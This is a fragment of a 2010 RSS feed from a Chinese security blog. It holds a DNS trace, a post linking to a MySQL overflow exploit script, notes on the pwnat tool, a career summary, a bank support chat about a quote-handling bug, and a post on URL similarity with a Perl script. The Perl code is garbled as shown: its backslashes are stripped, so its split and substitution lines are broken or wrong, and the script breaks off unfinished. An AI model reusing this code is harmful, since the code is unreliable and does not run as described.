com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 172800&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; L.GTLD-SERVERS.NET.<br />
com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 172800&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; C.GTLD-SERVERS.NET.<br />
com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 172800&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; G.GTLD-SERVERS.NET.<br />
com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 172800&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; J.GTLD-SERVERS.NET.<br />
com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 172800&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; B.GTLD-SERVERS.NET.<br />
com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 172800&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; E.GTLD-SERVERS.NET.<br />
com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 172800&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; F.GTLD-SERVERS.NET.<br />
com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 172800&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; K.GTLD-SERVERS.NET.<br />
com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 172800&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A.GTLD-SERVERS.NET.<br />
com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 172800&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I.GTLD-SERVERS.NET.<br />
com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 172800&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; M.GTLD-SERVERS.NET.<br />
;; Received 499 bytes from 192.58.128.30#53(J.ROOT-SERVERS.NET) in 153 ms<br />
<br />
baidu.com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 172800&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dns.baidu.com.<br />
baidu.com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 172800&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ns2.baidu.com.<br />
baidu.com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 172800&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ns3.baidu.com.<br />
baidu.com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 172800&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ns4.baidu.com.<br />
;; Received 163 bytes from 192.43.172.30#53(I.GTLD-SERVERS.NET) in 166 ms<br />
<br />
baidu.com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 600&nbsp;&nbsp;&nbsp;&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 220.181.6.81<br />
baidu.com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 600&nbsp;&nbsp;&nbsp;&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 220.181.6.184<br />
baidu.com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 600&nbsp;&nbsp;&nbsp;&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 61.135.163.94<br />
baidu.com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 86411&nbsp;&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ns2.baidu.com.<br />
baidu.com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 86411&nbsp;&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ns3.baidu.com.<br />
baidu.com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 86411&nbsp;&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ns4.baidu.com.<br />
baidu.com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 86411&nbsp;&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dns.baidu.com.<br />
;; Received 211 bytes from 61.135.165.235#53(ns2.baidu.com) in 251 ms</p>
				]]>
			</description>
			<pubDate>Sat, 27 Feb 2010 18:44:01 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[MySQL 0day]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=756</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=756</guid>
			<description>
				<![CDATA[
<p><a href="http://intevydis.com/mysql_overflow1.py.txt" target="_blank">http://intevydis.com/mysql_overflow1.py.txt</a></p>
				]]>
			</description>
			<pubDate>Wed, 27 Jan 2010 09:57:22 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[pwnat]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=755</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=755</guid>
			<description>
				<![CDATA[
<p>今天临下班的时候Harry给我看了samy的博客，是关于私网使用UDP通信的，很有意思，我们两个稍微研究了一下原理。作者介绍说：</p>
<p>pwnat,  pronounced &quot;poe-nat&quot;, is a tool that allows anynumber of clients behind NATs to communicate with a server behind a separate NAT with *no* port forwarding and *no* DMZ setup on any routers in order to directly communicate with each other. The server does not need to know anything about the clients trying to connect.<br />
<br />
Simply put, this is a proxy server that works behind a NAT, even when the client is behind a NAT, without any 3rd party.There is no middle man, no proxy, no 3rd party, no UPnP/STUN/ICE required, no spoofing, and no DNS tricks.</p>
<p>BTW，作者似乎是以前XSS蠕虫干掉过space.com那位，博客在<a href="http://samy.pl/pwnat/" target="_blank">http://samy.pl/pwnat/</a></p>
				]]>
			</description>
			<pubDate>Tue, 26 Jan 2010 20:35:53 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[工作小结]]></title>
			<category>琐记</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=754</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=754</guid>
			<description>
				<![CDATA[
<p>09年就快结束了，工作了这么几年，我也学着写个小结，记录一下遇到的各种挑战和工作的转变。</p>
<p>细想起来还要从05年进入绿盟算起。那时候我刚走出校门不久，懂的都是点入侵渗透方面的知识，会写一点C代码和Perl代码以及ASP代码。工作中最大的挑战来源于非常的害羞，与人沟通差得一塌糊涂。第一次讲PPT完全是在读书，讲完后自己都不知道自己说了一些什么（顺便提一下现在盛大的某位CCIE同学和我一起讲的，状态也和我类似，^_^）。还好在sbilly、adam等人的带领下，逐渐熟悉了起来，也开始敢给客户讲PPT，介绍一些攻击防御技术以及渗透加固的方案。</p>
<p>06年到雅虎后，遇到的最大挑战是从乙方思维向甲方的转变，从以前比较单纯的渗透、加固、培训工作变化到制定一个公司网络方面的安全策略规范并设计方案，推动业务部门部署。得益于Lucy曾经一段时间内耐心的让我写日报并帮助我review，我的执行力不足的缺陷有了初步的弥补。在david和lucy的帮助下转型期很顺利，对事情的宏观把握，跨部门的沟通能力以及项目的计划性都得到了一点增强，甚至学习了招人时的面试技巧。雅虎的两年是提升最快给我帮助最大的两年，这两年中一直和luoluo、zendy等牛人一起做安全工作，并且我亲爱的LP也和我在一起了。当时北京有EMM、Mix、肉肉、CoCo等一大票鸟人，经常一起喝酒滑雪K歌，人生快事莫过于此。值得一提的是在雅虎工作中我最得意的事情，仅仅花了一个星期的时间，就从对无线网络一窍不通到成功设计了雅虎在温特莱办公区的无线网络。</p>
<p>08年初因为身体原因以及家庭原因，离开北方往南边靠。从雅虎离职到久游，短暂的两个月工作依旧有一些收获，让我相信真的有企业文化这种东西，因此迅速离开。</p>
<p>08年3月份到阿里巴巴以来，挑战首先来自于工作对象的转变，从雅虎时的单一公司变为集团，沟通和协作很多时候都是跨越BU进行。其次来自于要做一些没有人做过，至少没有公开的可以借鉴的成功经验的事情。09年主要表现在滨江办公园区的网络安全方案设计，7座大楼，10000多个PC和服务器，有线和无线。幸好，和IT部门配合算是完成了。不过2010年的挑战来得更早，也更大&mdash;&mdash;云计算的安全，好在这边有更多的牛人同事。我开始有点期望2010年的结局，以及2011年的开头了&mdash;&mdash;虽然离2012更近&mdash;&mdash;至少我们有春哥。</p>
<p>此记。</p>
				]]>
			</description>
			<pubDate>Thu, 21 Jan 2010 22:06:48 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[悲剧的招行]]></title>
			<category>琐记</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=753</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=753</guid>
			<description>
				<![CDATA[
<p>我的问题(2010-01-19 13:17:57)<br />
你好，我今天收到了境外汇款。但是我点&ldquo;申报&rdquo;，点不动。我是windows7系统。<br />
<br />
&nbsp;客服5217(2010-1-19 13:18:20)<br />
您好，请问系统有没有给您提示网页有错误？<br />
<br />
&nbsp;我的问题(2010-01-19 13:20:44)<br />
有js报错，说未结束的字符串&hellip;&hellip;<br />
<br />
&nbsp;客服5217(2010-1-19 13:20:43)<br />
您好，此情况一般是其汇出人姓名和地址或收款人姓名和地址有单引号或双引号造成的，该问题我们已反馈给技术部门处理，建议您本人带一卡通及开户证件到开户办理申报。因此给您带来的不便，深表歉意。<br />
<br />
&nbsp;我的问题(2010-01-19 13:31:10)<br />
晕&hellip;&hellip;</p>
				]]>
			</description>
			<pubDate>Tue, 19 Jan 2010 13:41:28 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[虚惊一场～]]></title>
			<category>琐记</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=752</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=752</guid>
			<description>
				<![CDATA[
<p>朕虚惊一场&hellip;&hellip;睡觉。</p>
				]]>
			</description>
			<pubDate>Tue, 19 Jan 2010 01:08:06 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[使用VIM播放动画]]></title>
			<category>八卦</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=751</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=751</guid>
			<description>
				<![CDATA[
<p>今天看到有人用VIM播放ASCII动画，挺有意思的，做法见<a target="_blank" href="http://tech.techweb.com.cn/thread-440665-1-1.html">http://tech.techweb.com.cn/thread-440665-1-1.html</a></p>
				]]>
			</description>
			<pubDate>Mon, 11 Jan 2010 20:58:57 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[相似URL的判定]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=750</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=750</guid>
			<description>
				<![CDATA[
<p>摘要：我是在洗澡的间隙，坐在马桶上写这篇博客的。因此，凌乱、间断、错漏肯定是有的，只是我怕思路断了会忘记，所以还是记录下来先。前些时候写过一个<a href="http://www.icylife.net/yunshu/show.php?id=747" target="_blank">利用Bloom Filter消除重复URL的文章</a>，今天想了下相似URL判定的方法。</p><p>摘要：我是在洗澡的间隙，坐在马桶上写这篇博客的。因此，凌乱、间断、错漏肯定是有的，只是我怕思路断了会忘记，所以还是记录下来先。前些时候写过一个<a href="http://www.icylife.net/yunshu/show.php?id=747" target="_blank">利用Bloom Filter消除重复URL的文章</a>，今天想了下相似URL判定的方法。URL相似度的判定，在WEB黑盒扫描工具中是很有用的。</p>
<p>最开始想到的是URL也是一个特殊的字符串，那么URL的相似度判定就转化成了字符串相似度判定了。这个问题已经有了很多算法，比较著名的有俄国人的Edit Distance。但是仔细思考后，这个算法做普通字符串相似度比较是可以的，但是作为URL这种特殊的内容来比较则会有很多问题。举例来说，http://www.xxx.com/123.html到http://www.xxx.com/456.html的距离（相似度）与到http://www.xxx.com/abc.html的距离是一样的，但是对于URL来说前面两个是相似的URL，第一个与第三个则不是，这属于特殊条件下的误判。</p>
<p>于是我想到，URL是有结构的，也许我们可以利用这种结构来做判定。对于人来说，一眼就能看出http://video.sina.com.cn/ent/s/h/2010-01-10/163961994.shtml和http://video.sina.com.cn/ent/s/h/2010-01-10/163961890.shtml是相似的URL。但是与http://video.sina.com.cn/ent/m/c/2010-01-10/164661995.shtml呢？则未必，这取决于你如何看待目录本身，可以认为是相似的，也可以认为不是。基于结构来判断URL相似度，我的想法是去掉数字这种东西本身，最终只保留一个结构。字符串是否也需要去掉自身只保留结构，或者保留存在长度的结构，可以根据情况来灵活取舍。</p>
<p>随手写了一段脚本印证想法，这里我没有去掉字符串，仅仅将数字转变成结构了。URL中的参数，我去掉了值，其实这里的值也可以保留结构本身的。冷&hellip;&hellip;不写了。</p>
<pre class="perl"><span style="color: rgb(128, 128, 128); font-style: italic;">#!/usr/bin/perl</span>
<span style="color: rgb(0, 0, 0); font-weight: bold;">use</span> strict;
<span style="color: rgb(0, 0, 0); font-weight: bold;">use</span> warnings;
&nbsp;
<span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$url1</span> = <span style="color: rgb(255, 0, 0);">'http://video.sina.com.cn/ent/s/h/2010-01-10/163961994.shtml?a=1&amp;b=10'</span>;
<span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$url2</span> = <span style="color: rgb(255, 0, 0);">'http://video.sina.com.cn/ent/m/c/2010-01-10/164661995.shtml?b=2&amp;a=5'</span>;
&nbsp;
<span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">@array1</span> = <span style="color: rgb(0, 0, 102);">split</span><span style="color: rgb(102, 204, 102);">(</span> ///, <span style="color: rgb(0, 0, 255);">$url1</span> <span style="color: rgb(102, 204, 102);">)</span>;
<span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">@array2</span> = <span style="color: rgb(0, 0, 102);">split</span><span style="color: rgb(102, 204, 102);">(</span> ///, <span style="color: rgb(0, 0, 255);">$url2</span> <span style="color: rgb(102, 204, 102);">)</span>;
&nbsp;
<span style="color: rgb(177, 177, 0);">if</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(0, 0, 255);">@array1</span> != <span style="color: rgb(0, 0, 255);">@array2</span> <span style="color: rgb(102, 204, 102);">)</span>
<span style="color: rgb(102, 204, 102);">{</span>
	<span style="color: rgb(0, 0, 102);">print</span> <span style="color: rgb(255, 0, 0);">&quot;they are not the similar url.<span style="color: rgb(0, 0, 153); font-weight: bold;">\n</span>&quot;</span>;
	<span style="color: rgb(0, 0, 102);">return</span>;
<span style="color: rgb(102, 204, 102);">}</span>
&nbsp;
<span style="color: rgb(177, 177, 0);">for</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$i</span> = <span style="color: rgb(204, 102, 204);">3</span>; <span style="color: rgb(0, 0, 255);">$i</span> &lt; <span style="color: rgb(0, 0, 255);">@array1</span>; <span style="color: rgb(0, 0, 255);">$i</span> ++ <span style="color: rgb(102, 204, 102);">)</span>
<span style="color: rgb(102, 204, 102);">{</span>
	<span style="color: rgb(0, 0, 255);">$array1</span><span style="color: rgb(102, 204, 102);">[</span><span style="color: rgb(0, 0, 255);">$i</span><span style="color: rgb(102, 204, 102);">]</span> =~ <span style="color: rgb(0, 0, 102);">s</span>/d+/d/g;
	<span style="color: rgb(0, 0, 255);">$array2</span><span style="color: rgb(102, 204, 102);">[</span><span style="color: rgb(0, 0, 255);">$i</span><span style="color: rgb(102, 204, 102);">]</span> =~ <span style="color: rgb(0, 0, 102);">s</span>/d+/d/g;
&nbsp;
	<span style="color: rgb(128, 128, 128); font-style: italic;">#we should compare char sometimes.</span>
	<span style="color: rgb(128, 128, 128); font-style: italic;">#$array1[$i] =~ s/[a-zA-Z]/c/g;</span>
	<span style="color: rgb(128, 128, 128); font-style: italic;">#$array2[$i] =~ s/[a-zA-Z]/c/g;</span>
<span style="color: rgb(102, 204, 102);">}</span>
&nbsp;
<span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$flag1</span> = <span style="color: rgb(0, 0, 102);">index</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(0, 0, 255);">$array1</span><span style="color: rgb(102, 204, 102);">[</span><span style="color: rgb(204, 102, 204);">-1</span><span style="color: rgb(102, 204, 102);">]</span>, <span style="color: rgb(255, 0, 0);">'?'</span> <span style="color: rgb(102, 204, 102);">)</span>;
<span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$flag2</span> = <span style="color: rgb(0, 0, 102);">index</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(0, 0, 255);">$array2</span><span style="color: rgb(102, 204, 102);">[</span><span style="color: rgb(204, 102, 204);">-1</span><span style="color: rgb(102, 204, 102);">]</span>, <span style="color: rgb(255, 0, 0);">'?'</span> <span style="color: rgb(102, 204, 102);">)</span>;
<span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$tmp1</span> = <span style="color: rgb(0, 0, 102);">substr</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(0, 0, 255);">$array1</span><span style="color: rgb(102, 204, 102);">[</span><span style="color: rgb(204, 102, 204);">-1</span><span style="color: rgb(102, 204, 102);">]</span>, <span style="color: rgb(0, 0, 255);">$flag1</span> + <span style="color: rgb(204, 102, 204);">1</span> <span style="color: rgb(102, 204, 102);">)</span>;
<span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$tmp2</span> = <span style="color: rgb(0, 0, 102);">substr</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(0, 0, 255);">$array2</span><span style="color: rgb(102, 204, 102);">[</span><span style="color: rgb(204, 102, 204);">-1</span><span style="color: rgb(102, 204, 102);">]</span>, <span style="color: rgb(0, 0, 255);">$flag2</span> + <span style="color: rgb(204, 102, 204);">1</span> <span style="color: rgb(102, 204, 102);">)</span>;
&nbsp;
<span style="color: rgb(177, 177, 0);">if</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(0, 0, 255);">$flag1</span> != <span style="color: rgb(204, 102, 204);">-1</span> <span style="color: rgb(102, 204, 102);">)</span>
<span style="color: rgb(102, 204, 102);">{</span>
	<span style="color: rgb(0, 0, 255);">$array1</span><span style="color: rgb(102, 204, 102);">[</span><span style="color: rgb(204, 102, 204);">-1</span><span style="color: rgb(102, 204, 102);">]</span> = <span style="color: rgb(0, 0, 102);">substr</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(0, 0, 255);">$array1</span><span style="color: rgb(102, 204, 102);">[</span><span style="color: rgb(204, 102, 204);">-1</span><span style="color: rgb(102, 204, 102);">]</span>, <span style="color: rgb(204, 102, 204);">0</span>, <span style="color: rgb(0, 0, 255);">$flag1</span> <span style="color: rgb(102, 204, 102);">)</span>;
	<span style="color: rgb(0, 0, 255);">$array2</span><span style="color: rgb(102, 204, 102);">[</span><span style="color: rgb(204, 102, 204);">-1</span><span style="color: rgb(102, 204, 102);">]</span> = <span style="color: rgb(0, 0, 102);">substr</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(0, 0, 255);">$array2</span><span style="color: rgb(102, 204, 102);">[</span><span style="color: rgb(204, 102, 204);">-1</span><span style="color: rgb(102, 204, 102);">]</span>, <span style="color: rgb(204, 102, 204);">0</span>, <span style="color: rgb(0, 0, 255);">$flag2</span> <span style="color: rgb(102, 204, 102);">)</span>;
&nbsp;
	<span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">@tmp_arr</span> = <span style="color: rgb(0, 0, 102);">split</span><span style="color: rgb(102, 204, 102);">(</span> /&amp;/, <span style="color: rgb(0, 0, 255);">$tmp1</span> <span style="color: rgb(102, 204, 102);">)</span>;
	<span style="color: rgb(177, 177, 0);">for</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$i</span> = <span style="color: rgb(204, 102, 204);">0</span>; <span style="color: rgb(0, 0, 255);">$i</span> &lt; <span style="color: rgb(0, 0, 255);">@tmp_arr</span>; <span style="color: rgb(0, 0, 255);">$i</span> ++ <span style="color: rgb(102, 204, 102);">)</span>
	<span style="color: rgb(102, 204, 102);">{</span>
		<span style="color: rgb(0, 0, 255);">$tmp_arr</span><span style="color: rgb(102, 204, 102);">[</span><span style="color: rgb(0, 0, 255);">$i</span><span style="color: rgb(102, 204, 102);">]</span> =~ <span style="color: rgb(0, 0, 102);">s</span>/=.*//g;
	<span style="color: rgb(102, 204, 102);">}</span>
	<span style="color: rgb(0, 0, 255);">$array1</span><span style="color: rgb(102, 204, 102);">[</span><span style="color: rgb(204, 102, 204);">-1</span><span style="color: rgb(102, 204, 102);">]</span> = <span style="color: rgb(0, 0, 255);">$array1</span><span style="color: rgb(102, 204, 102);">[</span><span style="color: rgb(204, 102, 204);">-1</span><span style="color: rgb(102, 204, 102);">]</span>. <span style="color: rgb(255, 0, 0);">'?'</span>. <span style="color: rgb(0, 0, 102);">join</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(255, 0, 0);">'&amp;'</span>, <span style="color: rgb(0, 0, 102);">sort</span> <span style="color: rgb(0, 0, 255);">@tmp_arr</span> <span style="color: rgb(102, 204, 102);">)</span>;
<span style="color: rgb(102, 204, 102);">}</span>
&nbsp;
<span style="color: rgb(177, 177, 0);">if</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(0, 0, 255);">$flag2</span> != <span style="color: rgb(204, 102, 204);">-1</span> <span style="color: rgb(102, 204, 102);">)</span>
<span style="color: rgb(102, 204, 102);">{</span>
	<span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">@tmp_arr</span> = <span style="color: rgb(0, 0, 102);">split</span><span style="color: rgb(102, 204, 102);">(</span> /&amp;/, <span style="color: rgb(0, 0, 255);">$tmp2</span> <span style="color: rgb(102, 204, 102);">)</span>;
	<span style="color: rgb(177, 177, 0);">for</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$i</span> = <span style="color: rgb(204, 102, 204);">0</span>; <span style="color: rgb(0, 0, 255);">$i</span> &lt; <span style="color: rgb(0, 0, 255);">@tmp_arr</span>; <span style="color: rgb(0, 0, 255);">$i</span> ++ <span style="color: rgb(102, 204, 102);">)</span>
	<span style="color: rgb(102, 204, 102);">{</span>
		<span style="color: rgb(0, 0, 255);">$tmp_arr</span><span style="color: rgb(102, 204, 102);">[</span><span style="color: rgb(0, 0, 255);">$i</span><span style="color: rgb(102, 204, 102);">]</span> =~ <span style="color: rgb(0, 0, 102);">s</span>/=.*//g;
	<span style="color: rgb(102, 204, 102);">}</span>
	<span style="color: rgb(0, 0, 255);">$array2</span><span style="color: rgb(102, 204, 102);">[</span><span style="color: rgb(204, 102, 204);">-1</span><span style="color: rgb(102, 204, 102);">]</span> = <span style="color: rgb(0, 0, 255);">$array2</span><span style="color: rgb(102, 204, 102);">[</span><span style="color: rgb(204, 102, 204);">-1</span><span style="color: rgb(102, 204, 102);">]</span>. <span style="color: rgb(255, 0, 0);">'?'</span>. <span style="color: rgb(0, 0, 102);">join</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(255, 0, 0);">'&amp;'</span>, <span style="color: rgb(0, 0, 102);">sort</span> <span style="color: rgb(0, 0, 255);">@tmp_arr</span> <span style="color: rgb(102, 204, 102);">)</span>;
<span style="color: rgb(102, 204, 102);">}</span>
<span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$result1</span> = <span style="color: rgb(0, 0, 102);">join</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(255, 0, 0);">'/'</span>, <span style="color: rgb(0, 0, 255);">@array1</span> <span style="color: rgb(102, 204, 102);">)</span>;
<span style="color: rgb(177, 177, 0);">my</span> <span style="color: rgb(0, 0, 255);">$result2</span> = <span style="color: rgb(0, 0, 102);">join</span><span style="color: rgb(102, 204, 102);">(</span> <span style="color: rgb(255, 0, 0);">'/'</span>, <span style="color: rgb(0, 0, 255);">@array2</span> <span style="color: rgb(102, 204, 102);">)</span>;
&nbsp;
<span style="color: rgb(0, 0, 102);">print</span> <span style="color: rgb(0, 0, 255);">$url1</span>, <span style="color: rgb(255, 0, 0);">&quot;<span style="color: rgb(0, 0, 153); font-weight: bold;">\n</span><span style="color: rgb(0, 0, 153); font-weight: bold;">\t</span>==&gt;<span style="color: rgb(0, 0, 153); font-weight: bold;">\n</span><span style="color: rgb(0, 0, 153); font-weight: bold;">\t</span>    &quot;</span>, <span style="color: rgb(0, 0, 255);">$result1</span>, <span style="color: rgb(255, 0, 0);">&quot;<span style="color: rgb(0, 0, 153); font-weight: bold;">\n</span><span style="color: rgb(0, 0, 153); font-weight: bold;">\n</span>&quot;</span>;
